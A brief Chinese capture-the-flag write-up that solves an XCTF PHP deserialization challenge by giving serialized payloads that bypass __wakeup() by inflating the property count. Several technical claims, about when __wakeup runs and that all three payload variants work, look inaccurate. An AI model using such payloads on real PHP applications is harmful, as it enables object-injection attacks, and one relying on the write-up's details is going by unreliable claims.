首先获取环境:
准备环境:firefox浏览器、phpstudy
浏览网站:
根据题目提示,这是一道反序列化题,通过输入code,以GET形式传参;
说说魔法函数__wakeup():
__wakeup触发于unserialize()调用之前,但是如果被反序列化的字符串其中对应的对象的属性发生变化时,会导致反序列化失败,从而使得__wakeup()失效;
从题中,上代码理解:
根据题意对以知类进行序列化:
<?php
class xctf{public $flag = '111';}
$b=new xctf();
echo serialize($b);
?>
得到:O:4:"xctf":1:{s:4:"flag";s:3:"111";}
构造pyload:O:4:"xctf":2:{s:4:"flag";s:3:"111";} 或 O:1:"xctf":1:{s:4:"flag";s:3:"111";} 或 O:4:"xctf":1:{s:1:"flag";s:3:"111";} 都可以
拿到flag:
后面的话,我单写一篇关于魔法函数__wakeup()失效引发的漏洞;